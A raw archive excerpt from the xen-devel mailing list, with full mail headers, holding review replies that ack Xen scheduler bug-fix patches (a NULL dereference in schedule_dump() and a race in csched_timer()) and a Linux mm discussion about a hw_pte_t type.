 =?utf-8?B?bFlyQ1B3bC9LbTdUeGFuVzIrcEhqQnNia2piUW9CZDdzUnYyOUJOY2RqVW5S?=
 =?utf-8?B?K3NaejdJZXVoWHNVWUZZMkovL2l3dDNYY3kyZE9kWHJuSlNCUlZDQXIxbFRN?=
 =?utf-8?B?U21pbCs2YllZMVJlTDJNQ1lMQlducFVTWEc1VHZoNUNLMDFUZUxWS0pHa2xK?=
 =?utf-8?B?di91KzVOb1plbjNPMXk2c3d1dWZjQWo2VlRqcXRVRVFDcTdJMk5wRDROM3lB?=
 =?utf-8?B?TXE0TjNHdnB3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rix.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 15b6d13d-d1aa-48e8-42a3-08deed6c74b1
X-MS-Exchange-CrossTenant-AuthSource: CH8PR03MB8275.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 29 Jul 2026 12:25:20.3954
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: 7/HS5aLGAbLtRDTZ8R13L3laX075NIwZ9MipD+137xucp58UPB8pebfJmYxl/q4/VWdGuyA3jdAmI6eYmfe5DvQ87JNC5R62m+Ad5TxbdnI=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: SA0PR03MB5449
X-purgate-ID: tlsNG-16d1c6/1785327924-F74C977B-A9D3197E/0/0
X-purgate-type: clean
X-purgate-size: 1450

On 29/07/2026 1:06 pm, Juergen Gross wrote:
> With the introduction of core scheduling cpus not used by any cpupool

You want a comma between "scheduling, cpus".Â  It took a little while to
figure out the correct parsing of this sentence.

As written, it's ambiguous with one interpretation being "With the
introduction of core scheduling cpus, ..." but with a grammatically
invalid remainder of the sentence.

> have been switched to use the very simple idle scheduler instead of the
> default scheduler.
>
> Trying to obtain diagnostic scheduling data via the "r" debug key is
> scanning through all cpupools using the per-cpupool scheduler to print
> the related data. Unfortunately the switch to use the idle scheduler
> for free cpus wasn't reflected in schedule_dump(), causing the default
> scheduler's dump_cpu_state callback to be used for free cpus.
>
> This causes NULL dereferences in case the default scheduler is one of
> credit or null.
>
> Fix that by using the idle scheduler instead of the default scheduler
> for free cpus. Note that it is fine for a scheduler to have no
> dump_cpu_state callback.
>
> Fixes: f855dd962523 ("sched: add minimalistic idle scheduler for free cpus")
> Reported-by: Dietmar Hahn <dietmar.hahn@fujitsu.com>
> Tested-by:  Dietmar Hahn <dietmar.hahn@fujitsu.com>
> Signed-off-by: Juergen Gross <jgross@suse.com>

FWIW, Acked-by: Andrew Cooper <andrew.cooper3@citrix.com>



From xen-devel-bounces@lists.xenproject.org Wed Jul 29 12:28:12 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 12:28:12 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1375720.1622791 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp3OJ-0006aa-Qa; Wed, 29 Jul 2026 12:28:07 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1375720.1622791; Wed, 29 Jul 2026 12:28:07 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp3OJ-0006aT-N9; Wed, 29 Jul 2026 12:28:07 +0000
Received: by outflank-mailman (input) for mailman id 1375720;
 Wed, 29 Jul 2026 12:28:06 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrew.cooper@citrix.com>) id 1wp3OI-0006YA-8U
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 12:28:06 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wp3OH-00AGiF-LK
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 14:28:05 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a69f1cc-2eae-0a2a0a5409dd-0a2a450c8908-32
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 14:28:05 +0200
Received: from [52.101.56.12]
 (helo=BN1PR04CU002.outbound.protection.outlook.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a69f1d4-f479-0a2a450c0019-3465380c7f5b-3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 14:28:05 +0200
Received: from CH8PR03MB8275.namprd03.prod.outlook.com (2603:10b6:610:2b9::7)
 by SA0PR03MB5449.namprd03.prod.outlook.com (2603:10b6:806:bd::12)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.270.12; Wed, 29 Jul
 2026 12:28:02 +0000
Received: from CH8PR03MB8275.namprd03.prod.outlook.com
 ([fe80::a70d:dc32:bba8:ce37]) by CH8PR03MB8275.namprd03.prod.outlook.com
 ([fe80::a70d:dc32:bba8:ce37%7]) with mapi id 15.21.0245.012; Wed, 29 Jul 2026
 12:28:02 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=KTYNRDqbxRZJ+8mm6KyDkEqSmp9RA5UwpsCvXNVSjxOTabFSrSwzvJ27f+pOOohaDZApmEXCnq4puoIHeSM4Rd1eERE0pHRGqNXnEA8F8ijdsuNwuT5u2FezvEPAmz8vhrZFLpUztRNb3KlQlqXwPX0Bd4Wgf4/nhpseZ6c9JZFIml8Nc8xDdSmSg+0FWqENFeCr5hRvT6VnNQqy7F/MMDVqXIRW6g3olhsuZsti43hAvJtz6XtoZHVT38ioIPwSZAN3vByRG2BcdGpxPh2l+gT51/En09kCXuJxGU1oQwZd6LoogJuMbW1ANwYuUMaaEmokbJ6iMrU3gtzv69YL8w==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=O8Jg1zddjvyEdmIR2Mq9USX3RI00sW51UvdfTZXljSc=;
 b=u7Aqi3CT3rGeAuWl//mpu6p9OIAc+j7WAUs2yExA0FS+tkAVpl63J8mY9wbqjYFtv2MP+mU13+z8KDYiMm8k3gcpmRcWtlNGdciKRZkCHSzwwkQViSo7EJI0JkRsCB2iJAkFO/rwC2XqJa7JFdpO/B+newduqLWmHawmdEtoW/IJfBBkQRKzcATzeBhE6xZ2GhKkgnO77W0XnEzVs3igrzdp5e7h0xHjxNwdzwbwa6da6YegABRUfPR6usNjFrUmSVF2aTu5jtLfGQwoVBHzEukElr9gnJEOJMyXJJyZcNS11dHl25DOXkMBmFRb0Z16IIljDhn3/Ds2uk65XG5Rzg==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=O8Jg1zddjvyEdmIR2Mq9USX3RI00sW51UvdfTZXljSc=;
 b=WWY4gFRI1ZVzzNJCflw0dFmcQCbgDQJD+/nQkJnEBdMoGtWAGGMbKrNaO+FCxcfFmvfEzvKSIjk/hAPxG4bZCOBlWiuRUKackRARyjH9hidKKl8Cwyt8dNiCRlNcpMryYgceZ/zCCZWsimNlWwxpRa+Wvt+WaAbv42nr8G1E3Y8=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
Message-ID: <e30a9ef3-bedb-42d8-b6d8-f716112ba7c1@citrix.com>
Date: Wed, 29 Jul 2026 13:27:59 +0100
User-Agent: Mozilla Thunderbird
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 Dario Faggioli <dfaggioli@suse.com>, George Dunlap <gwd@xenproject.org>,
 Dietmar Hahn <dietmar.hahn@fujitsu.com>
Subject: Re: [PATCH 1/2] xen/credit: fix race with schedule_cpu_rm() in
 csched_timer()
To: Juergen Gross <jgross@suse.com>, xen-devel@lists.xenproject.org
References: <20260729120643.327387-1-jgross@suse.com>
 <20260729120643.327387-2-jgross@suse.com>
Content-Language: en-GB
From: Andrew Cooper <andrew.cooper3@citrix.com>
Autocrypt: addr=andrew.cooper3@citrix.com; keydata=
 xsFNBFLhNn8BEADVhE+Hb8i0GV6mihnnr/uiQQdPF8kUoFzCOPXkf7jQ5sLYeJa0cQi6Penp
 VtiFYznTairnVsN5J+ujSTIb+OlMSJUWV4opS7WVNnxHbFTPYZVQ3erv7NKc2iVizCRZ2Kxn
 srM1oPXWRic8BIAdYOKOloF2300SL/bIpeD+x7h3w9B/qez7nOin5NzkxgFoaUeIal12pXSR
 Q354FKFoy6Vh96gc4VRqte3jw8mPuJQpfws+Pb+swvSf/i1q1+1I4jsRQQh2m6OTADHIqg2E
 ofTYAEh7R5HfPx0EXoEDMdRjOeKn8+vvkAwhviWXTHlG3R1QkbE5M/oywnZ83udJmi+lxjJ5
 YhQ5IzomvJ16H0Bq+TLyVLO/VRksp1VR9HxCzItLNCS8PdpYYz5TC204Vi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mpN/t2IPaEKoAc0FTQZS36wAMOXkBh24PQ9gaLJvfPKpNzGD8XWR5HHF0NLIJhgg
 4ZlEXQ2fVp3XrtocHqhu4UZR4koCijgB8sB7Tb0GCpwK+C4UePdFLfhKyRdSXuvY3AHJd4CP
 4JzW0Bzq/WXY3XMOzUTYApGQpnUpdOmuQSfpV9MQO+/jo7r6yPbxT7CwRS5dcQPzUiuHLK9i
 nvjREdh84qycnx0/6dDroYhp0DFv4udxuAvt1h4wGwTPRQZerSm4xaYegEFusyhbZrI0U9tJ
 B8WrhBLXDiYlyJT6zOV2yZFuW47VrLsjYnHwn27hmxTC/7tvG3euCklmkn9Sl9IAKFu29RSo
 d5bD8kMSCYsTqtTfT6W4A3qHGvIDta3ptLYpIAOD2sY3GYq2nf3Bbzx81wZK14JdDDHUX2Rs
 6+ahAA==
In-Reply-To: <20260729120643.327387-2-jgross@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-ClientProxiedBy: LO4P265CA0312.GBRP265.PROD.OUTLOOK.COM
 (2603:10a6:600:391::20) To CH8PR03MB8275.namprd03.prod.outlook.com
 (2603:10b6:610:2b9::7)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: CH8PR03MB8275:EE_|SA0PR03MB5449:EE_
X-MS-Office365-Filtering-Correlation-Id: dba6490b-7ea2-4b68-6ece-08deed6cd554
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|1800799024|366016|376014|23010399003|4143699003|10067099003|11063799006|56012099006|22082099003|18002099003;
X-Microsoft-Antispam-Message-Info:
	gV06BtiBAvgW37hLoHongrKzWNl1lZExK4oq4WRYBeRFj8qv70eeSkiBrizx9xaCNWT6nV/PQjOm0tPzj4ZcF0u7oqsBe+qWIkyeNo4oyXauHh4/J7QBbVwV32i+LXPrgsgfPNDIo8loMzw1YGWa3wPUh4KZlqq0bcKxiNYplgW6H4/g2R0JLJr9FxljU4GlwAvOEUcwATUjcocdscePZoAM/Wnvs7OOVawHb6dTZEqD4PKdUA8W3qjWIkF4FgxjV7bwauTKzCjxTuNhDLJ3xPQeif7hV50WaN+Fa3FuPOwd/DtDkPtpPE6xeyQcRiummrLN6+GM4vB+bxPriDj55XvRb+g4WUYPgBgx2ZuPb9f13s00vxDWKsxvRnJf6XNi18tectzTxYsIJW9g93LNXpe5K/2zAHueS+yLVacuGLPFw0cl/YOKfwR1Q9d9ODkdXkw9taQbdNnsWLoifJqdM/bbn3EP/EdJaFlKkjp7eyTRBzeS+HqZaZ+5fIwMzeWMSLctvJ+HiDz+PQZLtETFO79iTniePRVxeG/7WKtLj1WHhlUZiOCK3CiFN2x/YkcCnEvNNaNiLNr/+PDwJNxJ9ethhezpV9F09diDD5BnBRvEvPTuGvMiQBjAeQTzJy88YiC9KSgt8q11t+mYTMBU0mvTeUMrhsSjAlh18eCpXGk=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:CH8PR03MB8275.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(1800799024)(366016)(376014)(23010399003)(4143699003)(10067099003)(11063799006)(56012099006)(22082099003)(18002099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?utf-8?B?M3pMNDFZbU5scFQzYXRuSzlzREI3STRSbzljRVBwMDVJN2pJQi9RdzJaVTRp?=
 =?utf-8?B?SjMvUHlYRXg4dEVZL0d5aXZ2N3RXVk10NlFWL1poUm8zWWJtZ1ZlRlN3TTUx?=
 =?utf-8?B?TzNXZEVhdE9rQThxREJsWHJ3R1N5Ty9CdU55dFlvcThMNGcxSUoxdUwyTWFm?=
 =?utf-8?B?Um1DTE8zdnduaVVZUXlsUVRRdTNEcFFCaUZRY215akpYVll0ZTZ6Ui9JSEtv?=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MTFnUTE2NkovcXRjMXlZVEx6Rnc0?=
 =?utf-8?B?Wm45eENmL2U3a2xSaUx2WjZ5ZklsbXZxN3VyRytPMllSTWFIZCtWYmZOVlFI?=
 =?utf-8?B?YktGRmxhbE5jMmhqbkhhemZta2dFcGh6Rjc3UkVlSWQ4czhhYWk0N2NLSE9T?=
 =?utf-8?B?K1NPb002aXhmU3FWTXNrM0RNNVU2Qk5MdUNnL0xTRURrbVhpRW9TRE5EblpN?=
 =?utf-8?B?SXFsWjdFaDBtNUlVbVJlSUdmWkRCOFRjZit3My91dUUvMUtqWUhSamZtMEZk?=
 =?utf-8?B?czdReDcwbFpmOXJYYmxSdE9oWlZUUWhhM3Q5ZmljQmVmaklLVDJ4TUlNd3Jq?=
 =?utf-8?B?TjZ3Rno4RHA4Z2paS0FuWHlDRWhHYTJYSDhFQlVCc1lyY2E2YzkyZz09?=
X-OriginatorOrg: citrix.com
X-MS-Exchange-CrossTenant-Network-Message-Id: dba6490b-7ea2-4b68-6ece-08deed6cd554
X-MS-Exchange-CrossTenant-AuthSource: CH8PR03MB8275.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 29 Jul 2026 12:28:02.5141
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: m4EOggxaLWRNHd9YEY6zb893OgIiiJwUqRkr/sRvC0N2a2nBAl9jkqAYLg5TgUnmdXEuHeKaYLNYStFMLx5seww7zFtqRaDnnjEtB2jb/+w=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: SA0PR03MB5449
X-purgate-ID: tlsNG-d25034/1785328085-51936A5B-8F71FA30/0/0
X-purgate-type: clean
X-purgate-size: 871

On 29/07/2026 1:06 pm, Juergen Gross wrote:
> When removing a CPU from a cpupool running the credit scheduler, a
> race might happen between schedule_cpu_rm() and csched_timer(),
> resulting in a NULL dereference.
>
> The timer associated with csched_timer() is killed only in
> csched_deinit_pdata(), which is called by schedule_cpu_rm() after
> setting the scheduler's per-cpu data to NULL AND after enabling
> interrupts again. This can result in the timer to fire before it is
> being killed,

"... the timer firing before being killed,"

>  so csched_timer() needs to test the per-cpu data to be
> set before accessing it.
>
> Fixes: 78be3dbbfefa ("cpupools [1/6]: hypervisor changes")
> Reported-by: Dietmar Hahn <dietmar.hahn@fujitsu.com>
> Signed-off-by: Juergen Gross <jgross@suse.com>

Acked-by: Andrew Cooper <andrew.cooper3@citrix.com>



From xen-devel-bounces@lists.xenproject.org Wed Jul 29 12:28:43 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 12:28:43 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1375727.1622799 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp3Ot-0007G7-0r; Wed, 29 Jul 2026 12:28:43 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1375727.1622799; Wed, 29 Jul 2026 12:28:42 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp3Os-0007Fy-UP; Wed, 29 Jul 2026 12:28:42 +0000
Received: by outflank-mailman (input) for mailman id 1375727;
 Wed, 29 Jul 2026 12:28:41 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <david@kernel.org>) id 1wp3Or-0007Fo-Mp
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 12:28:41 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wp3Or-00AGpa-3T
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 14:28:41 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <david@kernel.org>)
 id 6a69f1f8-2eae-0a2a0a5409dd-0a2a4501997c-2
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 14:28:41 +0200
Received: from [172.234.252.31] (helo=sea.source.kernel.org)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <david@kernel.org>)
 id 6a69f1f7-5984-0a2a45010019-aceafc1fb7aa-3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 14:28:40 +0200
Received: from smtp.kernel.org (quasi.space.kernel.org [100.103.45.18])
 by sea.source.kernel.org (Postfix) with ESMTP id 8637241A16;
 Wed, 29 Jul 2026 12:28:38 +0000 (UTC)
Received: by smtp.kernel.org (Postfix) with ESMTPSA id 49CAD1F000E9;
 Wed, 29 Jul 2026 12:28:27 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=k20260515 header.d=kernel.org header.i="@kernel.org" header.h="Date:Subject:To:Cc:References:From:In-Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=kernel.org;
	s=k20260515; t=1785328118;
	bh=GJUqHVmBHSrdpuFwtI/Fi2v17xHa2F7qvwRuHwMVeOo=;
	h=Date:Subject:To:Cc:References:From:In-Reply-To;
	b=lnoL53AGHOGD7Ktm/BRa3X80EUt1a1uJalqZOVkPsBUp15N9D5u98FQygSc4OiK0h
	 26zaPVIHpcZSHz9Il7PYYic4ASze48umjeGzkC1U0Dni2dSvRgWGR8lBKH1TrzfCHU
	 brjf7wH+BEWMnJDDDTY4yNkQNBx7lUPrkCBg1j+bFnikF+KRyAzvLAgGhSbpQQlL3j
	 OdfJwVVhMfKugYMZrxu76fjEMFSUPQxebxip7k/KjLdJFTvfLCnmF8iI7OlDjIhgoi
	 Vw4X+zGN0NcPIRjcWONNnPaQ0/ovroWQv5cjyTnVKSLyczn4JSc0lwlx7Jilz0k893
	 upQDnJt7MbvkQ==
Message-ID: <31372fbd-13c8-4d6d-8a0e-faccf933d00a@kernel.org>
Date: Wed, 29 Jul 2026 14:28:25 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH RFC 00/11] mm: distinguish PTE table storage from PTE
 values
To: Muhammad Usama Anjum <usama.anjum@arm.com>,
 Alexander Gordeev <agordeev@linux.ibm.com>
Cc: Jani Nikula <jani.nikula@linux.intel.com>,
 Joonas Lahtinen <joonas.lahtinen@linux.intel.com>,
 Rodrigo Vivi <rodrigo.vivi@intel.com>, Tvrtko Ursulin
 <tursulin@ursulin.net>, David Airlie <airlied@gmail.com>,
 Simona Vetter <simona@ffwll.ch>, Dimitri Sivanich
 <dimitri.sivanich@hpe.com>, Arnd Bergmann <arnd@arndb.de>,
 Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
 "James E.J. Bottomley" <James.Bottomley@hansenpartnership.com>,
 Helge Deller <deller@gmx.de>, Juergen Gross <jgross@suse.com>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Muchun Song <muchun.song@linux.dev>, Oscar Salvador <osalvador@suse.de>,
 Andrew Morton <akpm@linux-foundation.org>,
 "Liam R. Howlett" <liam@infradead.org>, Lorenzo Stoakes <ljs@kernel.org>,
 Will Deacon <will@kernel.org>, "Aneesh Kumar K.V" <aneesh.kumar@kernel.org>,
 Nick Piggin <npiggin@gmail.com>, Peter Zijlstra <peterz@infradead.org>,
 Andrey Ryabinin <ryabinin.a.a@gmail.com>,
 Pasha Tatashin <pasha.tatashin@soleen.com>, Chris Li <chrisl@kernel.org>,
 Kairui Song <kasong@tencent.com>, Uladzislau Rezki <urezki@gmail.com>,
 Steven Rostedt <rostedt@goodmis.org>, Masami Hiramatsu
 <mhiramat@kernel.org>, Alexei Starovoitov <ast@kernel.org>,
 Daniel Borkmann <daniel@iogearbox.net>, Andrii Nakryiko <andrii@kernel.org>,
 Eduard Zingerman <eddyz87@gmail.com>,
 Kumar Kartikeya Dwivedi <memxor@gmail.com>, Ingo Molnar <mingo@redhat.com>,
 Arnaldo Carvalho de Melo <acme@kernel.org>,
 Namhyung Kim <namhyung@kernel.org>, SJ Park <sj@kernel.org>,
 "Matthew Wilcox (Oracle)" <willy@infradead.org>, Jan Kara <jack@suse.cz>,
 Jason Gunthorpe <jgg@ziepe.ca>, Leon Romanovsky <leon@kernel.org>,
 Miaohe Lin <linmiaohe@huawei.com>, Dennis Zhou <dennis@kernel.org>,
 Tejun Heo <tj@kernel.org>, Christoph Lameter <cl@gentwo.org>,
 Mike Rapoport <rppt@kernel.org>, Johannes Weiner <hannes@cmpxchg.org>,
 ziy@nvidia.com, pfalcato@suse.de, ryan.roberts@arm.com,
 linux-kernel@vger.kernel.org, intel-gfx@lists.freedesktop.org,
 dri-devel@lists.freedesktop.org, linux-parisc@vger.kernel.org,
 xen-devel@lists.xenproject.org, linux-mm@kvack.org,
 linux-fsdevel@vger.kernel.org, linux-arch@vger.kernel.org,
 kasan-dev@googlegroups.com, linux-trace-kernel@vger.kernel.org,
 bpf@vger.kernel.org, linux-perf-users@vger.kernel.org, damon@lists.linux.dev
References: <20260727164715.2866609-1-usama.anjum@arm.com>
 <2c19247e-bee6-45f4-a353-2fcc60db26e6@kernel.org>
 <7813b5fe-e767-442c-a356-afc1a5c567ad-agordeev@linux.ibm.com>
 <6db0a8c0-b500-4364-be3d-d3a537c61258@kernel.org>
 <46319967-0338-4532-b953-dbea77084fe3@arm.com>
 <78a0402d-5436-4aab-a704-90fab56eec50@kernel.org>
 <38e14b3f-52b3-45d8-b151-776be75d44d8@arm.com>
From: "David Hildenbrand (Arm)" <david@kernel.org>
Content-Language: en-US
Autocrypt: addr=david@kernel.org; keydata=
 xsFNBFXLn5EBEAC+zYvAFJxCBY9Tr1xZgcESmxVNI/0ffzE/ZQOiHJl6mGkmA1R7/uUpiCjJ
 dBrn+lhhOYjjNefFQou6478faXE6o2AhmebqT4KiQoUQFV4R7y1KMEKoSyy8hQaK1umALTdL
 QZLQMzNE74ap+GDK0wnacPQFpcG1AE9RMq3aeErY5tujekBS32jfC/7AnH7I0v1v1TbbK3Gp
 XNeiN4QroO+5qaSr0ID2sz5jtBLRb15RMre27E1ImpaIv2Jw8NJgW0k/D1RyKCwaTsgRdwuK
 Kx/Y91XuSBdz0uOyU/S8kM1+ag0wvsGlpBVxRR/xw/E8M7TEwuCZQArqqTCmkG6HGcXFT0V9
 PXFNNgV5jXMQRwU0O/ztJIQqsE5LsUomE//bLwzj9IVsaQpKDqW6TAPjcdBDPLHvriq7kGjt
 WhVhdl0qEYB8lkBEU7V2Yb+SYhmhpDrti9Fq1EsmhiHSkxJcGREoMK/63r9WLZYI3+4W2rAc
 UucZa4OT27U5ZISjNg3Ev0rxU5UH2/pT4wJCfxwocmqaRr6UYmrtZmND89X0KigoFD/XSeVv
 jwBRNjPAubK9/k5NoRrYqztM9W6sJqrH8+UWZ1Idd/DdmogJh0gNC0+N42Za9yBRURfIdKSb
 B3JfpUqcWwE7vUaYrHG1nw54pLUoPG6sAA7Mehl3nd4pZUALHwARAQABzS5EYXZpZCBIaWxk
 ZW5icmFuZCAoQ3VycmVudCkgPGRhdmlkQGtlcm5lbC5vcmc+wsGQBBMBCAA6AhsDBQkmWAik
 AgsJBBUK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Z
 3iyY2Nsd7JxfKu1PRhCGwXzRw5TlfEsoRI7V9A8isUCoqE2Dzh3FvYHVeX4Us+bRL/oqareJ
 CIFqgYMyvHj7Q06kTKmauOe4Nf0l0qEkIuIzfoLJ3qr5UyXc2hLtWyT9Ir+lYlX9efqh7mOY
 qIws/H2t
In-Reply-To: <38e14b3f-52b3-45d8-b151-776be75d44d8@arm.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-d62444/1785328121-BDC79757-1B5096BA/0/0
X-purgate-type: clean
X-purgate-size: 1196

On 7/29/26 14:21, Muhammad Usama Anjum wrote:
> On 29/07/2026 12:52 pm, David Hildenbrand (Arm) wrote:
>> On 7/29/26 13:33, Muhammad Usama Anjum wrote:
>>> Yeah and architecture cannot opt-in until its converted. So we should leave
>>> it to architecture to define hw_pte_t.
>>
>> In the context of this series, we should have something like an
>> CONFIG_ARCH_HAS_XXX and select the definition based on that.
>>
>> So we'd have a generic variant.
> I'll add CONFIG_ARCH_HAS_XXX config in generic version.
> 
> I don't understand why generic code would define hw_pte_t if arch optionally
> opts-in.
> 
> Are you saying pte_t may have different definition in different arches. But
> the hw_pte_t would always be structure of pte_t. Hence definition
> 
> typedef struct { pte_t __pte; }; hw_pte_t;
> 
> can be moved to the generic code?
> 
> Moving definition to generic side is fine at this point in time. But if
> a arch wants to hw_pte_t opaque and don't want the generic code to perform
> arithmatic (ptep++), it'll not work.

Yes, but we can tackle this once some arch actually needs that. For now, it
makes this patch set easier to digest.

-- 
Cheers,

David


From xen-devel-bounces@lists.xenproject.org Wed Jul 29 12:35:02 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 12:35:02 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1375743.1622808 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp3Uw-0000Zy-On; Wed, 29 Jul 2026 12:34:58 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1375743.1622808; Wed, 29 Jul 2026 12:34:58 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp3Uw-0000Zr-M3; Wed, 29 Jul 2026 12:34:58 +0000
Received: by outflank-mailman (input) for mailman id 1375743;
 Wed, 29 Jul 2026 12:34:56 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wp3Uu-0000Zl-QF
